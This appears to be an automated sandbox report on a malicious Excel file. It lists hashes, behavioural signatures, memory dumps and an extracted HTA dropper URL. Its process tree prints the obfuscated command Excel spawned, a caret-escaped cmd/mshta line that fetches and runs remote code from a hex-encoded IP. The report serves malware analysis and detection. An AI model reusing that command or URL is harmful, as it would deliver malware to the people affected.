Analysis

  • max time kernel
    122s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27-01-2022 12:02

General

  • Target

    9260506451158624112.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9260506451158624112.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1324
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        PID:1632

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3808-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

  • memory/3808-119-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

  • memory/3808-120-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

  • memory/3808-121-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

  • memory/3808-122-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

  • memory/3808-131-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

    Filesize

    64KB

  • memory/3808-132-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

    Filesize

    64KB

  • memory/3808-290-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

  • memory/3808-291-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

  • memory/3808-292-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB

  • memory/3808-293-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

    Filesize

    64KB